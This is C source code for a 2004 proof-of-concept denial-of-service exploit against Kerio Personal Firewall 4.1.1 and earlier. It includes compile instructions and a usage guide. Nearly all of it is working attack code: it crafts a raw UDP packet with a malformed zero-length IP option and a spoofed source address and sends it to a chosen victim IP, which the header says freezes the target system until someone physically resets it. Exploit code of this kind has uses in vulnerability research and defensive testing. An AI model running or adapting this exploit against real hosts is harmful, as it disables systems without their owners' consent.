home *** CD-ROM | disk | FTP | other *** search
- /* HOD-kerio-firewall-DoS-expl.c: 2004-11-10
- *
- * Copyright (c) 2004 houseofdabus
- *
- * Kerio Personal Firewall Multiple IP Options Denial of Service PoC
- *
- * Coded by
- *
- *
- * .::[ houseofdabus ]::.
- *
- *
- *
- * Bug discoveried by eEye:
- * http://www.eeye.com/html/research/advisories/AD20041109.html
- *
- *
- ---------------------------------------------------------------------
- * Tested on:
- * - Kerio Personal Firewall 4.1.1
- *
- * Systems Affected:
- * - Kerio Personal Firewall 4.1.1 and prior
- *
- *
- ---------------------------------------------------------------------
- * Description:
- * The vulnerability allows a remote attacker to reliably render
- * a system inoperative with one single packet. Physical access is
- * required in order to bring an affected system out of this
- * "frozen" state. This specific flaw exists within the component
- * that performs low level processing of TCP, UDP, and ICMP packets.
- *
- *
- ---------------------------------------------------------------------
- * Compile:
- * Win32/VC++ : cl -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c
- * Win32/cygwin: gcc -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c -lws2_32.lib
- * Linux : gcc -o HOD-kpf-DoS-expl HOD-kpf-DoS-expl.c -Wall
- *
- *
- ---------------------------------------------------------------------
- * Command Line Parameters/Arguments:
- *
- * HOD-kerio-firewall-DoS-expl <-fi:str> <-ti:str> [-n:int]
- *
- * -fi:IP From (sender) IP address
- * -ti:IP To (target) IP address
- * -n:int Number of packets
- *
- *
- ---------------------------------------------------------------------
- *
- * This is provided as proof-of-concept code only for educational
- * purposes and testing by authorized individuals with permission to
- * do so.
- *
- */
-
- /* #define _WIN32 */
-
- #ifdef _WIN32
- #pragma comment(lib,"ws2_32")
- #pragma pack(1)
- #define WIN32_LEAN_AND_MEAN
- #include <winsock2.h>
- #include <ws2tcpip.h> /* IP_HDRINCL */
-
- #else
- #include <sys/types.h>
- #include <netinet/in.h>
- #include <sys/socket.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <sys/timeb.h>
- #endif
-
- #include <string.h>
- #include <stdio.h>
- #include <stdlib.h>
-
- #define MAX_MESSAGE 4068
- #define MAX_PACKET 4096
-
- #define DEFAULT_PORT 53
- #define DEFAULT_IP "192.168.0.1"
- #define DEFAULT_COUNT 1
-
- #ifndef _WIN32
- # define FAR
- #endif
-
-
- /* Define the IP header */
- typedef struct ip_hdr {
- unsigned char ip_verlen; /* IP version & length */
- unsigned char ip_tos; /* IP type of service */
- unsigned short ip_totallength; /* Total length */
- unsigned short ip_id; /* Unique identifier */
- unsigned short ip_offset; /* Fragment offset field */
- unsigned char ip_ttl; /* Time to live */
- unsigned char ip_protocol; /* Protocol */
- unsigned short ip_checksum; /* IP checksum */
- unsigned int ip_srcaddr; /* Source address */
- unsigned int ip_destaddr; /* Destination address */
- } IP_HDR, *PIP_HDR, FAR* LPIP_HDR;
-
-
- /* Define the UDP header */
- typedef struct udp_hdr {
- unsigned short src_portno; /* Source port number */
- unsigned short dst_portno; /* Destination port number */
- unsigned short udp_length; /* UDP packet length */
- unsigned short udp_checksum; /* UDP checksum (optional) */
- } UDP_HDR, *PUDP_HDR;
-
-
- char udpmsg[] =
- "\x4b\x65\x72\x69\x6f\x20\x50\x65\x72\x73\x6f\x6e\x61\x6c\x20\x46"
- "\x69\x72\x65\x77\x61\x6c\x6c\x20\x44\x6f\x53\x20\x50\x6f\x43\x20"
- "\x28\x34\x2e\x31\x2e\x31\x20\x61\x6e\x64\x20\x70\x72\x69\x6f\x72"
- "\x29\x2e\x20\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x28\x63\x29"
- "\x20\x32\x30\x30\x34\x20\x68\x6f\x75\x73\x65\x6f\x66\x64\x61\x62"
- "\x75\x73\x2e";
-
-
- /* globals */
- unsigned long dwToIP, /* IP to send to */
- dwFromIP; /* IP to send from (spoof) */
- unsigned short iToPort, /* Port to send to */
- iFromPort; /* Port to send from (spoof) */
- unsigned long dwCount; /* Number of times to send */
- char strMessage[MAX_MESSAGE]; /* Message to send */
-
-
-
- void
- usage(char *progname) {
- printf("Usage:\n\n");
- printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> [-n:int]\n\n", progname);
- printf(" -fi:IP From (sender) IP address\n");
- printf(" -ti:IP To (target) IP address\n");
- printf(" -n:int Number of packets\n");
- exit(1);
- }
-
- void
- ValidateArgs(int argc, char **argv)
- {
- int i;
-
- iToPort = 53;
- iFromPort = DEFAULT_PORT;
- dwToIP = inet_addr(DEFAULT_IP);
- dwFromIP = inet_addr(DEFAULT_IP);
- dwCount = DEFAULT_COUNT;
- memcpy(strMessage, udpmsg, sizeof(udpmsg)-1);
-
- for(i = 1; i < argc; i++) {
- if ((argv[i][0] == '-') || (argv[i][0] == '/')) {
- switch (tolower(argv[i][1])) {
- case 'f':
- switch (tolower(argv[i][2])) {
- case 'i':
- if (strlen(argv[i]) > 4)
- dwFromIP = inet_addr(&argv[i][4]);
- break;
- default:
- usage(argv[0]);
- break;
- }
- break;
- case 't':
- switch (tolower(argv[i][2])) {
- case 'i':
- if (strlen(argv[i]) > 4)
- dwToIP = inet_addr(&argv[i][4]);
- break;
- default:
- usage(argv[0]);
- break;
- }
- break;
- case 'n':
- if (strlen(argv[i]) > 3)
- dwCount = atol(&argv[i][3]);
- break;
- default:
- usage(argv[0]);
- break;
- }
- }
- }
- return;
- }
-
-
- /* This function calculates the 16-bit one's complement sum */
- /* for the supplied buffer */
- unsigned short
- checksum(unsigned short *buffer, int size)
- {
- unsigned long cksum=0;
-
- while (size > 1) {
- cksum += *buffer++;
- size -= sizeof(unsigned short);
- }
- if (size) {
- cksum += *(unsigned char *)buffer;
- }
- cksum = (cksum >> 16) + (cksum & 0xffff);
- cksum += (cksum >>16);
-
- return (unsigned short)(~cksum);
- }
-
-
-
-
- int
- main(int argc, char **argv)
- {
- #ifdef _WIN32
- WSADATA wsd;
- #endif
- int s;
- #ifdef _WIN32
- BOOL bOpt;
- #else
- int bOpt;
- #endif
- struct sockaddr_in remote;
- IP_HDR ipHdr;
- UDP_HDR udpHdr;
- int ret;
- unsigned long i;
- unsigned short iTotalSize,
- iUdpSize,
- iUdpChecksumSize,
- iIPVersion,
- iIPSize,
- cksum = 0;
- char buf[MAX_PACKET],
- *ptr = NULL;
- #ifdef _WIN32
- IN_ADDR addr;
- #else
- struct sockaddr_in addr;
- #endif
-
- printf("\nKerio Personal Firewall Multiple IP Options Denial of
- Service PoC\n\n");
- printf("\tCopyright (c) 2004 .::[ houseofdabus ]::.\n\n");
-
- if (argc < 3) usage(argv[0]);
-
- /* Parse command line arguments and print them out */
- ValidateArgs(argc, argv);
- #ifdef _WIN32
- addr.S_un.S_addr = dwFromIP;
- printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr),
- iFromPort);
- addr.S_un.S_addr = dwToIP;
- printf("[*] To IP: <%s>, port: %d\n", inet_ntoa(addr), iToPort);
- printf("[*] Count: %d\n", dwCount);
- #else
- addr.sin_addr.s_addr = dwFromIP;
- printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr),
- iFromPort);
- addr.sin_addr.s_addr = dwToIP;
- printf("[*] To IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr),
- iToPort);
- printf("[*] Count: %d\n", dwCount);
- #endif
-
- #ifdef _WIN32
- if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) {
- printf("[-] WSAStartup() failed: %d\n", GetLastError());
- return -1;
- }
- #endif
- /* Creating a raw socket */
- s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
- #ifdef _WIN32
- if (s == INVALID_SOCKET) {
- printf("[-] WSASocket() failed: %d\n", WSAGetLastError());
- return -1;
- }
- #endif
-
- /* Enable the IP header include option */
- #ifdef _WIN32
- bOpt = TRUE;
- #else
- bOpt = 1;
- #endif
- ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt,
- sizeof(bOpt));
- #ifdef _WIN32
- if (ret == SOCKET_ERROR) {
- printf("[-] setsockopt(IP_HDRINCL) failed: %d\n",
- WSAGetLastError());
- return -1;
- }
- #endif
- /* Initalize the IP header */
- iTotalSize = sizeof(ipHdr) + sizeof(udpHdr) + sizeof(udpmsg)-1 + 4;
-
- iIPVersion = 4;
- iIPSize = sizeof(ipHdr) / sizeof(unsigned long);
-
- iIPSize += 1; /* IP options */
-
- ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize;
- ipHdr.ip_tos = 0; /* IP type of service */
- ipHdr.ip_totallength = htons(iTotalSize); /* Total packet len */
- ipHdr.ip_id = 0; /* Unique identifier: set to 0 */
- ipHdr.ip_offset = 0; /* Fragment offset field */
- ipHdr.ip_ttl = 128; /* Time to live */
- ipHdr.ip_protocol = 0x11; /* Protocol(UDP) */
- ipHdr.ip_checksum = 0 ; /* IP checksum */
- ipHdr.ip_srcaddr = dwFromIP; /* Source address */
- ipHdr.ip_destaddr = dwToIP; /* Destination address */
-
- /* Initalize the UDP header */
- iUdpSize = sizeof(udpHdr) + sizeof(udpmsg)-1;
-
- udpHdr.src_portno = htons(iFromPort);
- udpHdr.dst_portno = htons(iToPort);
- udpHdr.udp_length = htons(iUdpSize);
- udpHdr.udp_checksum = 0 ;
-
-
- iUdpChecksumSize = 0;
- ptr = buf;
- memset(buf, 0, MAX_PACKET);
-
- memcpy(ptr, &ipHdr.ip_srcaddr, sizeof(ipHdr.ip_srcaddr));
- ptr += sizeof(ipHdr.ip_srcaddr);
- iUdpChecksumSize += sizeof(ipHdr.ip_srcaddr);
-
- memcpy(ptr, &ipHdr.ip_destaddr, sizeof(ipHdr.ip_destaddr));
- ptr += sizeof(ipHdr.ip_destaddr);
- iUdpChecksumSize += sizeof(ipHdr.ip_destaddr);
-
- ptr++;
- iUdpChecksumSize += 1;
-
- memcpy(ptr, &ipHdr.ip_protocol, sizeof(ipHdr.ip_protocol));
- ptr += sizeof(ipHdr.ip_protocol);
- iUdpChecksumSize += sizeof(ipHdr.ip_protocol);
-
- memcpy(ptr, &udpHdr.udp_length, sizeof(udpHdr.udp_length));
- ptr += sizeof(udpHdr.udp_length);
- iUdpChecksumSize += sizeof(udpHdr.udp_length);
-
- memcpy(ptr, &udpHdr, sizeof(udpHdr));
- ptr += sizeof(udpHdr);
- iUdpChecksumSize += sizeof(udpHdr);
-
- for(i = 0; i < sizeof(udpmsg)-1; i++, ptr++)
- *ptr = strMessage[i];
- iUdpChecksumSize += sizeof(udpmsg)-1;
-
- cksum = checksum((unsigned short *)buf, iUdpChecksumSize);
- udpHdr.udp_checksum = cksum;
-
-
- memset(buf, 0, MAX_PACKET);
- ptr = buf;
-
- memcpy(ptr, &ipHdr, sizeof(ipHdr)); ptr += sizeof(ipHdr);
-
- /* IP option (length = 0x00) */
- memcpy(ptr, "\x88\x00\x12\x34", 4); ptr += 4;
-
- memcpy(ptr, &udpHdr, sizeof(udpHdr)); ptr += sizeof(udpHdr);
- memcpy(ptr, strMessage, sizeof(udpmsg)-1);
-
- remote.sin_family = AF_INET;
- remote.sin_port = htons(iToPort);
- remote.sin_addr.s_addr = dwToIP;
-
- for(i = 0; i < dwCount; i++) {
- #ifdef _WIN32
- ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote,
- sizeof(remote));
-
- if (ret == SOCKET_ERROR) {
- printf("[-] sendto() failed: %d\n", WSAGetLastError());
- break;
- } else
- #else
- ret = sendto(s, buf, iTotalSize, 0, (struct sockaddr *)
- &remote,
- sizeof(remote));
- #endif
- printf("[+] sent %d bytes\n", ret);
- }
-
- #ifdef _WIN32
- closesocket(s);
- WSACleanup();
- #endif
-
- return 0;
- }